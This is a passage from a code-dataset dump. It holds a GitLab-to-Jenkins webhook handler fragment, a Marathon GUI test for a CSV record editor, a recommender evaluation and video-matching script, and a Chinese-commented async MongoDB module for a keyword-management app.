j.has_job(tn):\n\t\t\t# If we don't have a template, there is nothing we can do anyways...\n\t\t\tcontinue\n\n\t\tif False and branch_created(data):\n\t\t\tres = \"Registered new branch %s in repo %s\\n\" % (b, r)\n\t\t\tlogging.info(res)\n\t\t\tjob = create_job(jn, tn, r, b, data)\n\t\t\tif kind != 'nightly':\n\t\t\t\tlogging.info('Will invoke this %s job directly.', kind)\n\t\t\t\tjob.invoke()\n\n\t\telif branch_deleted(data):\n\t\t\tres = \"Registered deleted branch %s in repo %s\\n\" % (b, r)\n\t\t\tlogging.info(res)\n\t\t\tif j.has_job(jn):\n\t\t\t\tj.delete_job(jn)\n\t\telse: # Just a regular commit on an existing branch.\n\t\t\tres = \"Registered commit to %s on branch %s\\n\" % (r, b)\n\t\t\tlogging.info(res)\n\t\t\tif not j.has_job(jn):\n\t\t\t\tjob = create_job(jn, tn, r, b, data)\n\t\t\telse:\n\t\t\t\tjob = j.get_job(jn)\n\t\t\t\tjob.update_config(gen_config(jn, tn, r, b, data))\n\t\t\tif kind != 'nightly':\n\t\t\t\tlogging.info('Will invoke this %s job.', kind)\n\t\t\t\tjob.invoke()\n\n\t\treq.write(res)\n\n\treturn apache.OK\n","sub_path":"gitlab2jenkins.py","file_name":"gitlab2jenkins.py","file_ext":"py","file_size_in_byte":6088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"474114316","text":"useFixture(RecordEditor)\r\n\r\ndef test():\r\n\tfrom Modules import commonBits\r\n\tjava_recorded_version = '1.6.0_22'\r\n\r\n\tif window('Record Editor'):\r\n\t\tselect('FileChooser', commonBits.sampleDir() + 'csv_DTAR1000_Store_file_std.bin.csv')\r\n\t\tselect('ComboBox1', 'CSV')\r\n\t\tselect('ComboBox2', 'Generic CSV - enter details')\r\n\t\tclick(commonBits.fl('Edit') + '1')\r\n\r\n\t\tif window(''):\r\n\t\t\tselect('BmKeyedComboBox', commonBits.fl('Parser - Quotes based on field Type'))\r\n\t\t\tclick(commonBits.fl('Go'))\r\n\t\tclose()\r\n\r\n\t\tselect('Table', 'cell:2|REGION-NO,0(20)')\r\n\t\trightclick('Table', '3|STORE-NAME,4')\r\n##\t\tselect('Table', 'cell:2|REGION-NO,0(20)')\r\n\t\tselect_menu(commonBits.fl('Edit Record'))\r\n##\t\tselect('Table1', 'cell:2|REGION-NO,0(20)')\r\n\t\tassert_p('Table', 'Content', '[[STORE-NO, 1, , 5, 5], [REGION-NO, 2, , 20, 20], [STORE-NAME, 3, , V Albury, V Albury], [NEW-STORE, 4, , N, N], [ACTIVE-STORE, 5, , Y, Y], [CLOSED-STORE, 6, , N, N], [DC-TYPE, 7, , N, N], [SRC-TYPE, 8, , N, N], [HO-TYPE, 9, , N, N]]')\r\n\t\tassert_p('TextArea', 'Text', '5\t20\t\"V Albury\"\t\"N\"\t\"Y\"\t\"N\"\t\"N\"\t\"N\"\t\"N\"')\r\n\t\tselect('Table', 'N 1', commonBits.fl('Data') + ',3')\r\n\t\tselect('Table', 'Y 2', commonBits.fl('Data') + ',4')\r\n\t\tselect('Table', 'N 3', commonBits.fl('Data') + ',5')\r\n\t\tselect('Table', 'cell:' + commonBits.fl('Data') + ',6(N)')\r\n\t\tassert_p('Table', 'Content', '[[STORE-NO, 1, , 5, 5], [REGION-NO, 2, , 20, 20], [STORE-NAME, 3, , V Albury, V Albury], [NEW-STORE, 4, , N 1, N 1], [ACTIVE-STORE, 5, , Y 2, Y 2], [CLOSED-STORE, 6, , N 3, N 3], [DC-TYPE, 7, , N, N], [SRC-TYPE, 8, , N, N], [HO-TYPE, 9, , N, N]]')\r\n\t\tselect('Table', 'cell:' + commonBits.fl('Data') + ',6(N)')\r\n\t\tassert_p('TextArea', 'Text', '5\t20\t\"V Albury\"\t\"N 1\"\t\"Y 2\"\t\"N 3\"\t\"N\"\t\"N\"\t\"N\"')\r\n\r\n\tclose()\r\n","sub_path":"Build/Instalation/GeneralDb/Marathon/MarathonTests_1.1/linux_HSQLDB_Edit/TestCases/V69_Changes/Csv/CsvQuoteTextFields.py","file_name":"CsvQuoteTextFields.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"602523740","text":"import argparse\r\nimport numpy as np\r\nimport os\r\nimport cv2\r\nimport time\r\nimport natsort\r\nfrom pymediainfo import MediaInfo\r\n\r\ndef get_ids(idpath):\r\n ids = dict();\r\n for line in open(idpath):\r\n tid = line.strip();\r\n ids[tid] = len(ids);\r\n return ids;\r\n\r\ndef get_ivt(idpath):\r\n ivt = dict();\r\n for line in open(idpath):\r\n tid = line.strip();\r\n ivt[len(ivt)] = tid;\r\n return ivt;\r\n\r\ndef get_mat(mpath, mids):\r\n mat = None;\r\n lines = open(mpath).readlines();\r\n for mid in mids:\r\n terms = lines[mids[mid]].strip().split(' ');\r\n if mat is None:\r\n mat = np.zeros((len(mids), len(terms)), dtype=np.float32);\r\n for k in range(len(terms)):\r\n mat[mids[mid], k] = np.float32(terms[k]);\r\n return mat;\r\n\r\ndef get_history(hpath):\r\n rated = dict();\r\n popular = dict();\r\n for line in open(hpath):\r\n terms = line.strip().split(',');\r\n uid = terms[0];\r\n rated[uid] = set();\r\n for k in range(1, len(terms)):\r\n vid = terms[k].split(':')[0];\r\n like = int(terms[k].split(':')[1]);\r\n rated[uid].add(vid);\r\n if like == 1:\r\n if vid not in popular:\r\n popular[vid] = 0;\r\n popular[vid] += 1;\r\n return rated, popular;\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(description=\"Evaluate weighted matrix factorization based methods.\")\r\n parser.add_argument('-d', '--data', required=True, help=\"The data path for the evaluation\");\r\n parser.add_argument('-m', '--model', required=True, help=\"The work path for the model\");\r\n parser.add_argument('-f', '--fold', type=int, default=0, help=\"The index of evaluation fold\");\r\n parser.add_argument('-s', '--step', type=int, default=5, help=\"The number of evaluation step\");\r\n parser.add_argument('-t', '--total', type=int, default=30, help=\"The number of total predictions\");\r\n parser.add_argument('-sl', '--scenarios', nargs='+', default=None, help=\"The test scenario list\");\r\n args = parser.parse_args();\r\n \r\n uids = get_ids(os.path.join(args.data, 'uid'));\r\n vids = get_ids(os.path.join(args.data, 'vid'));\r\n fold = args.fold;\r\n scenarios = args.scenarios;\r\n step = args.step;\r\n total = args.total;\r\n interval = total // step;\r\n results = dict();\r\n\r\n rated, popular = get_history(os.path.join(args.data, 'f%dtr.txt'%fold));\r\n umat = get_mat(os.path.join(args.model, 'final-U.dat'), uids);\r\n vmat = get_mat(os.path.join(args.model, 'final-V.dat'), vids);\r\n bmat = None;\r\n if os.path.exists(os.path.join(args.model, 'final-B.dat')):\r\n bmat = get_mat(os.path.join(args.model, 'final-B.dat'), vids)\r\n for scenario in scenarios:\r\n teids = get_ids(os.path.join(args.data, 'f%dte.%s.idl'%(fold, scenario)));\r\n teivt = get_ivt(os.path.join(args.data, 'f%dte.%s.idl'%(fold, scenario)));\r\n temat = np.zeros((len(teids), vmat.shape[1]), dtype=np.float32);\r\n for vid in teids:\r\n temat[teids[vid],:] = vmat[vids[vid],:];\r\n scores = np.dot(umat, temat.T);\r\n if bmat is not None:\r\n scores += bmat.reshape((1,-1));\r\n rlist = np.argsort(scores, axis=1);\r\n tresults = [0.0]*interval;\r\n tcount = 0;\r\n for line in open(os.path.join(args.data, 'f%dte.%s.txt'%(fold, scenario))):\r\n terms = line.strip().split(',');\r\n uid = terms[0];\r\n likes = set();\r\n idx = 0;\r\n for k in range(1, len(terms)):\r\n vid = terms[k].split(':')[0];\r\n like = int(terms[k].split(':')[1]);\r\n if like == 1:\r\n likes.add(teids[vid]);\r\n if len(likes) != 0:\r\n hits = [0] * interval;\r\n for t in range(len(teids)):\r\n liid = rlist[uids[uid], len(teids)-t-1];\r\n if teivt[liid] not in rated[uid]:\r\n if liid in likes:\r\n j = idx // step;\r\n for k in range(j, interval):\r\n hits[k] += 1;\r\n idx += 1;\r\n if idx == total:\r\n break;\r\n for k in range(interval):\r\n tresults[k] += hits[k];\r\n tcount += len(likes);\r\n if scenario not in results:\r\n results[scenario] = [0.0]*interval;\r\n for k in range(interval):\r\n results[scenario][k] += tresults[k] / tcount;\r\n for scenario in scenarios:\r\n line=scenario\r\n for k in range(interval):\r\n line += ',%.6f'%(results[scenario][k]);\r\n print (line);\r\n\r\nif __name__ == '__main__':\r\n main();\r\n\r\nTestData=\"Test\"\r\nwhile True:\r\n for(direcpath,direcnames,vid_files) in os.walk(TestData):\r\n for v_file in vid_files:\r\n if '.txt' in v_file:\r\n time.sleep(1)\r\n with open(TestData + \"/\" + v_file , 'r') as myfile:\r\n video_id = myfile.read()\r\n data = video_id\r\n data_dir = \"/Users/masoodkhan/Desktop/Project_PVR_using_RC_from_videos/videos\"\r\n files = os.listdir(data_dir)\r\n files = natsort.natsorted(files)\r\n print(\"Top_of K-Recommendation vid:\")\r\n for i in range(len(files)):\r\n file = files[i]\r\n d = file.split(',')\r\n vid = data\r\n b = [s.split(',') for s in d]\r\n if vid in d:\r\n path = data_dir + \"/\" + vid\r\n media_info = MediaInfo.parse(path)\r\n for track in media_info.tracks:\r\n if track.track_type == 'Video':\r\n res = track.width * track.height\r\n data_dir_a = data_dir\r\n files_a = os.listdir(data_dir_a)\r\n files_a = natsort.natsorted(files_a)\r\n for i in range(len(files_a)):\r\n file = files_a[i]\r\n filepath = data_dir_a + \"/\" + file\r\n prefix = file.split('.')[0]\r\n if os.path.isfile(filepath):\r\n media_info = MediaInfo.parse('videos/' + file)\r\n for track in media_info.tracks:\r\n if track.track_type == 'Video':\r\n data_vid_resulation = track.width * track.height\r\n user_vid_resulation = str(res)\r\n all_data_vid_resu = str(data_vid_resulation).split(',')\r\n new_res = user_vid_resulation\r\n resulation_a = [s.split(',') for s in all_data_vid_resu]\r\n if new_res in all_data_vid_resu:\r\n Recommend_vid = file\r\n print(Recommend_vid)\r\n rec = open(\"vid_send.txt\",\"a\")\r\n print(Recommend_vid,file = rec)\r\n rec.close()\r\n #else:\r\n #print(\"not_match_datafile\")\r\n\r\n #------------------------------------------------------------------------------------------#\r\n os.remove(TestData+'/'+v_file)\r\n \r\n\r\n \r\n\r\n","sub_path":"final_display_module_3.py","file_name":"final_display_module_3.py","file_ext":"py","file_size_in_byte":8163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"368531207","text":"from .db_basic import dbinit, insert_one, insert_many, find, findCount, find_one, update_one, update_many, copy_database, drop_database, delete_one, check_collection_count, aggregate\nimport json\nimport pymongo\nfrom bson import json_util\nfrom utilities.jwtTools import createJWT, verifyJWT\nfrom myExceptions import AccountNotExistError,PasswordMismatchError\nimport time\n\n# 数据库结构概览:\n# 数据库: keywordsManagement\n# ->表: User ,存储账户信息\n# ->表: Project, 存储项目概要信息，但不包含分类信息\n# 数据库: 项目x: 每个项目一个数据库，每个数据库包含如下表\n# ->表: Categories\n# ->表: Urls\n# ->表: Articles\n# ->表: BasicWords\n# ->表: ExtendedWords\n# ->表: stopDict\n# ->表: invalidDict\n# ->表: userDict\n\n# 数据库部分初始化操作\ndbinit()\ndbPrefix = 'KWM'\n\n# Projects 相关 高级 函数\nasync def fetchAllProjects(currentpage=1, pagesize=10):\n # 1- 获取 Project表内容\n result1 = await fetchTable(dbPrefix, 'Project', currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print('result1',result1)\n # result1 形式: result1 = {'count':count,'content':content}\n # 2- 因为category 跟 表 Project 是分开的，所以需要分开查找\n if result1['count'] > 0:\n # 存在项目，才去读项目中的 目录信息\n for project in result1['content']:\n # print('project',project)\n projectId = project['_id']['$oid']\n result2 = await fetchTable(dbPrefix + '-' + projectId, 'Categories', currentpage=0, pagesize=0, returnTotalCount=False)\n # print('xxxxxx',result2)\n project['categories'] = result2['content']\n return result1\n\n\nasync def createnewproject(dbName, collectionName, projectObjectData, currentpage=1, pagesize=10):\n # 1- 在Project表添加新项目，如果已经存在，则报错返回\n categotiesData = projectObjectData.pop('categories')\n try:\n result1 = await insert_one(dbName, collectionName, projectObjectData)\n except Exception as e:\n raise\n else:\n # 插入项目名称 成功\n #print('result1', result1)\n # 2-项目创建成功，则创建以该项目命名的数据库，并将Categories 写入 Categories 表格\n # dbName2 = projectObjectData['projectName']\n # 使用uuid代表真正的项目名称，并创建项目\n dbName2 = str(result1)\n #print('dbName2', dbName2)\n result2 = ''\n if len(categotiesData) > 0:\n # 只有设置了目录元素的时候才进行插入，否则，什么都不做\n # print('dbName2',dbName2)\n try:\n result2 = await insert_many(dbPrefix + '-' + dbName2, 'Categories', categotiesData)\n except Exception as e:\n raise\n #print('result2', result2)\n else:\n result2 = 0\n #print('result2', result2)\n # 如果都成功，返回 新的数据\n return await fetchAllProjects(currentpage=currentpage, pagesize=pagesize)\n\n\nasync def fetchTable(dbName, collectionName, idPrefix=\"\", xfilter={}, xshown={}, xsort=[], currentpage=1, pagesize=10, returnTotalCount=True):\n if returnTotalCount:\n # 1 读取所有项目数目\n result1 = await findCount(dbName, collectionName, xfilter)\n # 此处 result1 肯定是个数字， 0 或者 >0\n else:\n result1 = ''\n\n # 2 读取所有的表信息\n result2 = []\n if (type(result1) == int and result1 > 0) or result1 == '':\n # 1-1: 存在数据，则继续下一步 1-2: 没有计算长度 ，也进入下一步。 否则，直接返回空\n skipValue = (currentpage - 1) * pagesize\n limitValue = pagesize\n result2 = json.loads(await find(dbName, collectionName, xfilter=xfilter, xshown=xshown, xsort=xsort, skipValue=skipValue, limitValue=limitValue))\n # 添加 ID\n initID = 1\n if idPrefix == '':\n for ele in result2:\n ele['id'] = skipValue + initID\n initID += 1\n else:\n # id 西药添加特定前缀\n for ele in result2:\n ele['id'] = str(idPrefix) + '-' + str(skipValue + initID)\n initID += 1\n # print('xxxx',result2)\n return ({'count': result1, 'content': result2})\n\n\nasync def updateProject(dbName, collectionName, queryDict={}, setDict={},currentPage=1, pageSize=10):\n # print(setDict)\n # 1- 更新特定醒目名称信息\n try:\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n except:\n raise\n else:\n # 修改 项目数据库列表成功\n return await fetchAllProjects(currentpage=currentPage, pagesize=pageSize)\n\n\n\nasync def deleteProject(dbName, collectionName, queryDict={},currentPage=1,pageSize=10):\n projectId = queryDict['_id']\n # 1: 删除项目列表中的 项目名称\n result1 = await delete_one(dbName, collectionName, queryDict)\n if result1 == 1:\n # step1 修改成功\n # 2: 删除项目数据库\n projectid = json.loads(json_util.dumps(projectId))['$oid']\n result2 = await drop_database(dbPrefix + '-' + projectid)\n if not result2:\n # 删除数据库成功\n # 3- 拉取所有数据\n result3 = await fetchAllProjects(currentpage=currentPage, pagesize=pageSize)\n return (result3)\n else:\n return ('error')\n else:\n return ('error')\n\n\nasync def updateCategory(dbName, collectionName, queryDict={}, setDict={},currentPage = 1, pageSize= 10):\n # 更新特定项目中的 目录\n # 1- 更新 对应项目，分类表中的数据\n try:\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n except:\n raise\n else:\n if result1 == 1:\n # 1- 修改 项目数据库列表成功\n # 2- 拉取所有数据\n result2 = await fetchAllProjects(currentpage=currentPage, pagesize=pageSize)\n return (result2)\n else:\n pass\n\nasync def deleteCategory(dbName, collectionName, queryDict={},currentPage=1,pageSize=10):\n # 1: 删除项目列表中的 项目名称\n try:\n result1 = await delete_one(dbName, collectionName, queryDict=queryDict)\n except:\n raise\n else:\n result2 = await fetchAllProjects(currentpage=currentPage, pagesize=pageSize)\n return (result2)\n\nasync def createCategory(dbName, collectionName, setDict={},currentPage=1,pageSize=10):\n # 创建 目录\n try:\n result1 = await insert_one(dbName, collectionName, data = setDict)\n except:\n raise\n else:\n # 创建成功，刷新所有 projects信息\n return await fetchAllProjects(currentpage=currentPage, pagesize=pageSize)\n\nasync def handleSignup(dbName, collectionName, accountInfo):\n \"\"\"\n 处理用户注册\n \"\"\"\n\n # 1 - 直接注册，父函数 根据结果，做出相应 判断\n try:\n result1 = await insert_one(dbName, collectionName, accountInfo)\n except:\n raise\n else:\n return ('注册成功')\n\n\nasync def handleSignin(dbName, collectionName, accountInfo):\n \"\"\"\n 处理用户登录\n \"\"\"\n # 1 检查账号是否存在\n try:\n result1 = await find_one(dbName, collectionName, queryDict={'account': accountInfo['account']})\n except:\n raise\n else:\n if result1 == 'null':\n # 账号不存在,抛出异常\n raise AccountNotExistError(f'账号{accountInfo[\"account\"]}未注册!')\n else:\n # 用户已经注册，继续向下\n # 2- 如果存在，检查账号密码是否一致\n try:\n result2 = await find_one(dbName, collectionName, queryDict={'account': accountInfo['account'], 'shadow': accountInfo['shadow']})\n except:\n raise\n else:\n if result2 == 'null':\n # 账号密码不一致：密码错误\n raise PasswordMismatchError(f'账号{accountInfo[\"account\"]}密码错误，请重试!')\n else:\n # 3- 密码正确， 继续，获取用户部门信息\n try:\n result3 = await find_one(dbName, collectionName, queryDict={'account': accountInfo['account']}, showDict={'_id': 0, 'department': 1})\n except:\n raise\n else:\n # 部门信息ok，生成JWT\n try:\n jwttoken = await createJWT({'name': accountInfo['account']})\n except:\n raise\n else:\n return ({\"username\": accountInfo['account'], \"access_token\": str(jwttoken, 'utf-8'), \"token_type\": \"bearer\", \"department\": json.loads(result3)['department']})\n\n\n# Urls related high level functions\nasync def createUrlItems(dbName, collectionName, currentpage=1, pagesize=10, ItemInfos={}):\n # 直接使用 insert_many\n try:\n result1 = await insert_many(dbName, collectionName, data2insert=ItemInfos)\n except Exception as e:\n raise\n else:\n print('no error')\n # if isinstance(result1, int):\n print('插入成功')\n # 获取所有数据(首页) 返回\n # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n return (result2)\n # else:\n # return(result1)\n\n# async def createUrlItems(dbName, collectionName, ItemInfos):\n# # 直接使用 insert_many\n# result1 = await insert_many(dbName, collectionName, ItemInfos)\n# if isinstance(result1, int):\n# print('插入成功')\n# # 获取所有数据(首页) 返回\n# # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n# result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=1, pagesize=10, returnTotalCount=True)\n# return (result2)\n# else:\n# return('error')\n\n# async def updateUrlItems(dbName,collectionName,queryDict={},setDict={}):\n# #print('setDict',dbName,collectionName,setDict,queryDict,pageSize,currentPage)\n#\n\n\nasync def updateUrlItems(dbName, collectionName, queryDict={}, setDict={}, pageSize=10, currentPage=1):\n # print('setDict',dbName,collectionName,setDict,queryDict,pageSize,currentPage)\n print('++++++++++++++', dbName, collectionName,\n setDict, queryDict, pageSize, currentPage)\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n # print('result1',result1)\n if result1 == 1:\n print('插入成功')\n # 获取所有数据(首页) 返回\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n\n else:\n return(result1)\n\n\nasync def findProjectIdFromProjectName(dbName, collectionName, queryDict={}, showDict={}):\n print('queryDict', queryDict)\n result1 = json.loads(await find_one(dbName, collectionName, queryDict, showDict))\n # print('result1',result1)\n if result1:\n projectId = result1['_id']['$oid']\n return projectId\n else:\n return None\n\n\nasync def fetchUrlItems(dbName, collectionName, xfilter={}, xshown={}, currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 Url表中符合条件的数据\n result1 = await fetchTable(dbName, collectionName, xfilter=xfilter, xshown=xshown, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\n\nasync def deleteUrlItems(dbName, collectionName, deleteDictList=[]):\n if deleteDictList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for ele in deleteDictList:\n print(ele)\n result1 = await delete_one(dbName, collectionName, ele)\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def getCategories(dbName, collectionName):\n print(dbName, collectionName)\n try:\n result = await fetchTable(dbName, collectionName, xshown={'_id': 0, 'categoryName': 1}, returnTotalCount=False, currentpage=0, pagesize=0)\n except:\n raise\n else:\n return(result)\n\n\"\"\"\n停止词,用户词和无效词共用部分\n\"\"\"\n\nasync def fetchDictItems(dbName, collectionName, xfilter={}, xshown={}, currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 Url表中符合条件的数据\n result1 = await fetchTable(dbName, collectionName, xfilter=xfilter, xshown=xshown, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\n\nasync def createDictItems(dbName, collectionName, currentpage=1, pagesize=10, ItemInfos={}):\n # 直接使用 insert_many\n try:\n result1 = await insert_many(dbName, collectionName, data2insert=ItemInfos)\n except:\n raise\n else:\n print('插入成功')\n # 获取所有数据(首页) 返回\n # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n return (result2)\n\n\nasync def updateDictItems(dbName, collectionName, queryDict={}, setDict={}, pageSize=10, currentPage=1):\n try:\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n except:\n raise\n else:\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n\n\nasync def deleteDictItems(dbName, collectionName, deleteDictList=[]):\n if deleteDictList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for ele in deleteDictList:\n result1 = await delete_one(dbName, collectionName, ele)\n if result1:\n pass\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def ItemExist(dbName, collectionName, filter={}):\n return await find_one(dbName, collectionName, filter)\n\n\nasync def check_if_collection_is_empty(dbName, collectionName):\n return await check_collection_count(dbName, collectionName)\n\n\"\"\"\n用户词相关\n\"\"\"\n\n\nasync def deleteUserDictItems(dbName, collectionName, targetCollection, currentpage, pagesize, sourceList=[], targetList=[]):\n if sourceList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for i in range(len(sourceList)):\n result = await insert_one(dbName, targetCollection, data=targetList[i])\n if result != 'project-unknownError':\n result1 = await delete_one(dbName, collectionName, sourceList[i])\n else:\n return ('error')\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def getFieldFromCollection(dbName, collectionName, field, filter={}):\n data = await find_one(dbName, collectionName, filter)\n return json.loads(data)[field] if data else ''\n\n\n# articles related\nasync def createArticleItems(dbName, collectionName, currentpage=1, pagesize=10, ItemInfos={}):\n # 直接使用 insert_many\n try:\n result1 = await insert_many(dbName, collectionName, data2insert=ItemInfos)\n except Exception as e:\n raise\n else:\n # if isinstance(result1, int):\n print('插入成功')\n # 获取所有数据(首页) 返回\n # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n return (result2)\n\n\nasync def getArticles(dbName, collectionName, xfilter={}, xshown={}, currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 Url表中符合条件的数据\n result1 = await fetchTable(dbName, collectionName, xfilter=xfilter, xshown=xshown, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\n\nasync def getArticleBody(dbName, collectionName, xfilter={}, xshown={}, currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 Url表中符合条件的数据\n result1 = await fetchTable(dbName, collectionName, xfilter=xfilter, xshown=xshown, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\n\nasync def deleteArticleItems(dbName, collectionName, deleteDictList=[]):\n if deleteDictList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for ele in deleteDictList:\n # print(ele)\n result1 = await delete_one(dbName, collectionName, ele)\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def updateArticleSplitWords(dbName, collectionName, queryDict={}, setDict={}, pageSize=10, currentPage=1):\n # print('setDict',dbName,collectionName,setDict,queryDict,pageSize,currentPage)\n print('++++++++++++++', dbName, collectionName,\n setDict, queryDict, pageSize, currentPage)\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n # print('result1',result1)\n if result1 == 1:\n print('插入成功')\n # 获取所有数据(首页) 返回\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n\n else:\n return(result1)\n\n\"\"\"\n用户相关\n\"\"\"\n\n\nasync def fetchUsers(dbName, collectionName, showDict={},currentPage=1, pageSize=1000):\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown=showDict, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n\n\n\"\"\"\nbasicWords related\n\"\"\"\n\n\nasync def addBasicWords(dbName, collectionName, currentPage=1, pagesize=10, ItemInfos={}):\n # 直接使用 insert_many\n try:\n result1 = await insert_many(dbName, collectionName, data2insert=ItemInfos)\n except Exception as e:\n raise\n else:\n # if isinstance(result1, int):\n print('插入成功')\n # 获取所有数据(首页) 返回\n # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pagesize, returnTotalCount=True)\n return (result2)\n\n\nasync def fetchBasicWords(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 basicWords 表中符合条件的数据\n # print(dbName,collectionName,xfilter,xshown)\n result1 = await fetchTable(dbName, collectionName, xfilter=xfilter, xshown=xshown, xsort=xsort, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,'ccccccc')\n return result1\n\n\nasync def deleteBacisWordsItems(dbName, collectionName, deleteDictList=[]):\n if deleteDictList == []:\n # 什么也不删除\n return ('error')\n else:\n # 循环删除\n try:\n for ele in deleteDictList:\n # print(ele)\n result1 = await delete_one(dbName, collectionName, ele)\n # 成功，刷新列表\n result2 = await fetchTable(dbName, collectionName)\n return (result2)\n except:\n return ('error')\n\n\nasync def updateBasicWords(dbName, collectionName, queryDict={}, setDict={}, pageSize=10, currentPage=1):\n # print('setDict',dbName,collectionName,setDict,queryDict,pageSize,currentPage)\n print (dbName, collectionName,\n setDict, queryDict, pageSize, currentPage)\n result1 = await update_one(dbName, collectionName, queryDict=queryDict, setDict=setDict)\n # print('result1',result1)\n if result1 == 1:\n print('插入成功')\n # 获取所有数据(首页) 返回\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pageSize, returnTotalCount=True)\n return (result2)\n else:\n return(result1)\n\n\"\"\"\nextendedWords related\n\"\"\"\n\n\nasync def addExtendedWords(dbName, collectionName, currentPage=1, pagesize=10, ItemInfos={}):\n # 直接使用 insert_many\n try:\n result1 = await insert_many(dbName, collectionName, data2insert=ItemInfos)\n except Exception as e:\n raise\n else:\n print('插入成功')\n # 获取所有数据(首页) 返回\n # result2 = await fetchAllProjects(currentpage=1, pagesize=10 ,returnTotalCount=True)\n result2 = await fetchTable(dbName, collectionName, xfilter={}, xshown={}, xsort=[], currentpage=currentPage, pagesize=pagesize, returnTotalCount=True)\n return (result2)\n\n\nasync def fetchExtendedWords(dbName, collectionName, idPrefix='',xfilter={}, xshown={}, xsort=[], currentpage=1, pagesize=10, returnTotalCount=True):\n # 获取 特定项目 extendedWords 表中符合条件的数据\n result1 = await fetchTable(dbName, collectionName, idPrefix= idPrefix,xfilter=xfilter, xshown=xshown, xsort=xsort, currentpage=currentpage, pagesize=pagesize, returnTotalCount=True)\n # print(result1,type(result1))\n return result1\n\n\nasync def makeAggregations(dbName, collectionName, currentPage=1, pageSize = 10, xaggregate= [],types='topicWord',returnTotalCount=True):\n \"\"\"\n 获取 聚合数据 以及 符合条件的 数据总 数量，类似于 fetchTable\n \"\"\"\n\n # 构造 skip 和 limit\n skip = (currentPage - 1) * pageSize\n limit = pageSize\n\n if types == 'mword':\n # 只要 获取 到 mword，就行了，PVsum avg等职能通过 sub 相加，在前端\n print('xaggregate0000',xaggregate)\n #yxaggregate = []\n #yxaggregate.append({'$match': xaggregate[0]['$match']})\n #yxaggregate.append({'$group': {'_id':xaggregate[1]['$group']['_id']}})\n ## 在 yxaggregate ，中添加 '$count' 算子,\n #yxaggregate.append({'$count': 'totalCount'})\n result1 = list(await aggregate(dbName, collectionName, aggregation=xaggregate))\n\n # 添加 ID\n initID = 1\n for ele in result1:\n ele['word'] = ele.pop('_id')[types]\n ele['id'] = skip+ initID\n ele['_loading']= False\n ele['children'] = []\n initID += 1\n print('result1',result1)\n return {'count': len(result1),'content':result1}\n\n if returnTotalCount:\n # 1 读取所有项目数目，首先构建 ，只查询项目 数目的 查询表达式\n yxaggregate = []\n print('xaggregatemmm',xaggregate)\n if xaggregate[0]['$match']:\n yxaggregate.append({'$match': xaggregate[0]['$match']})\n if xaggregate[1].get('$group') and 